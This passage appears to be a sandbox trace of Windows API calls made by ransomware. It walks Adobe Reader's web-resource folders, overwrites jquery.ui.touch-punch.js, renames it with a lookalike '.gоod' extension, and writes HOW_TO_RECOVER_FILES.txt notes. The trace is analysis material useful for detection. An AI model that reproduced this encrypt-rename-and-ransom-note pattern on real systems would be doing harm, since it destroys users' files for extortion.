ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x478, dwReserved0=0x0, dwReserved1=0x0, cFileName="jquery.ui.touch-punch.js", cAlternateFileName="JQUERY~1.JS")) returned 1 [0173.502] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0173.502] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0173.502] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec8c0) returned 1 [0173.502] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec880) returned 1 [0173.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec980) returned 1 [0173.502] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2", nBufferLength=0x105, lpBuffer=0x203ec420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2", lpFilePart=0x0) returned 0x77 [0173.502] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2\\*", lpFindFileData=0x203ec6a0 | out: lpFindFileData=0x203ec6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0173.502] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.503] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x478, dwReserved0=0x0, dwReserved1=0x0, cFileName="jquery.ui.touch-punch.js", cAlternateFileName="JQUERY~1.JS")) returned 1 [0173.503] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x478, dwReserved0=0x0, dwReserved1=0x0, cFileName="jquery.ui.touch-punch.js", cAlternateFileName="JQUERY~1.JS")) returned 0 [0173.503] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0173.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec8c0) returned 1 [0173.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec880) returned 1 [0173.503] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2\\jquery.ui.touch-punch.js", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2\\jquery.ui.touch-punch.js", lpFilePart=0x0) returned 0x90 [0173.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec730) returned 1 [0173.503] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2\\jquery.ui.touch-punch.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2\\jquery.ui.touch-punch.js"), fInfoLevelId=0x0, lpFileInformation=0x346b510 | out: lpFileInformation=0x346b510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x478)) returned 1 [0173.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6f0) returned 1 [0173.503] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2\\jquery.ui.touch-punch.js", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2\\jquery.ui.touch-punch.js", lpFilePart=0x0) returned 0x90 [0173.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0173.503] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2\\jquery.ui.touch-punch.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2\\jquery.ui.touch-punch.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0173.504] GetFileType (hFile=0x580) returned 0x1 [0173.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0173.504] GetFileType (hFile=0x580) returned 0x1 [0173.504] GetFileSize (in: hFile=0x580, lpFileSizeHigh=0x203ec788 | out: lpFileSizeHigh=0x203ec788*=0x0) returned 0x478 [0173.504] ReadFile (in: hFile=0x580, lpBuffer=0x346bd90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec6b8, lpOverlapped=0x0 | out: lpBuffer=0x346bd90*, lpNumberOfBytesRead=0x203ec6b8*=0x478, lpOverlapped=0x0) returned 1 [0173.505] CloseHandle (hObject=0x580) returned 1 [0174.123] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2\\jquery.ui.touch-punch.js", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2\\jquery.ui.touch-punch.js", lpFilePart=0x0) returned 0x90 [0174.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0174.123] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2\\jquery.ui.touch-punch.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2\\jquery.ui.touch-punch.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0174.124] GetFileType (hFile=0x580) returned 0x1 [0174.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0174.125] GetFileType (hFile=0x580) returned 0x1 [0174.125] WriteFile (in: hFile=0x580, lpBuffer=0x351ae20*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x203ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x351ae20*, lpNumberOfBytesWritten=0x203ec5c8*=0x480, lpOverlapped=0x0) returned 1 [0174.125] CloseHandle (hObject=0x580) returned 1 [0174.126] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2\\jquery.ui.touch-punch.js", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2\\jquery.ui.touch-punch.js", lpFilePart=0x0) returned 0x90 [0174.126] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2\\jquery.ui.touch-punch.js.gоod", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2\\jquery.ui.touch-punch.js.gоod", lpFilePart=0x0) returned 0x95 [0174.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec6f0) returned 1 [0174.126] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2\\jquery.ui.touch-punch.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2\\jquery.ui.touch-punch.js"), fInfoLevelId=0x0, lpFileInformation=0x203ec7d0 | out: lpFileInformation=0x203ec7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x63fffe4a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x480)) returned 1 [0174.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6b0) returned 1 [0174.126] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2\\jquery.ui.touch-punch.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2\\jquery.ui.touch-punch.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2\\jquery.ui.touch-punch.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2\\jquery.ui.touch-punch.js.gоod")) returned 1 [0174.127] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203ec3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0174.127] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec8f0) returned 1 [0174.127] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x580 [0174.127] GetFileType (hFile=0x580) returned 0x1 [0174.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec860) returned 1 [0174.127] GetFileType (hFile=0x580) returned 0x1 [0174.128] WriteFile (in: hFile=0x580, lpBuffer=0x351e778*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203ec9b8, lpOverlapped=0x0 | out: lpBuffer=0x351e778*, lpNumberOfBytesWritten=0x203ec9b8*=0x5d0, lpOverlapped=0x0) returned 1 [0174.129] CloseHandle (hObject=0x580) returned 1 [0174.129] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8a [0174.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ed320) returned 1 [0174.129] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\libs\\jquery.ui.touch-punch\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x580 [0174.130] GetFileType (hFile=0x580) returned 0x1 [0174.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ed290) returned 1 [0174.130] GetFileType (hFile=0x580) returned 0x1 [0174.130] WriteFile (in: hFile=0x580, lpBuffer=0x35220f0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203ed3e8, lpOverlapped=0x0 | out: lpBuffer=0x35220f0*, lpNumberOfBytesWritten=0x203ed3e8*=0x5d0, lpOverlapped=0x0) returned 1 [0174.131] CloseHandle (hObject=0x580) returned 1 [0174.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ed3b0) returned 1 [0174.131] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require", nBufferLength=0x105, lpBuffer=0x203ece50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require", lpFilePart=0x0) returned 0x63 [0174.131] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\*", lpFindFileData=0x203ed0d0 | out: lpFindFileData=0x203ed0d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0174.132] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.132] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.1.15", cAlternateFileName="211994~1.15")) returned 1 [0174.132] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.1.15", cAlternateFileName="211994~1.15")) returned 0 [0174.132] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0174.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ed2f0) returned 1 [0174.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ed2b0) returned 1 [0174.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ed3b0) returned 1 [0174.132] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require", nBufferLength=0x105, lpBuffer=0x203ece50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require", lpFilePart=0x0) returned 0x63 [0174.132] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\*", lpFindFileData=0x203ed0d0 | out: lpFindFileData=0x203ed0d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0174.133] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.133] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.1.15", cAlternateFileName="211994~1.15")) returned 1 [0174.133] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ed090 | out: lpFindFileData=0x203ed090*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0174.133] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0174.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ed2f0) returned 1 [0174.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ed2b0) returned 1 [0174.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec980) returned 1 [0174.133] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15", nBufferLength=0x105, lpBuffer=0x203ec420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15", lpFilePart=0x0) returned 0x6a [0174.134] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15\\*", lpFindFileData=0x203ec6a0 | out: lpFindFileData=0x203ec6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0174.134] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.134] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3adc, dwReserved0=0x0, dwReserved1=0x0, cFileName="require.min.js", cAlternateFileName="REQUIR~1.JS")) returned 1 [0174.134] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0174.134] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0174.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec8c0) returned 1 [0174.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec880) returned 1 [0174.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec980) returned 1 [0174.134] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15", nBufferLength=0x105, lpBuffer=0x203ec420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15", lpFilePart=0x0) returned 0x6a [0174.135] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15\\*", lpFindFileData=0x203ec6a0 | out: lpFindFileData=0x203ec6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0174.135] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.135] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3adc, dwReserved0=0x0, 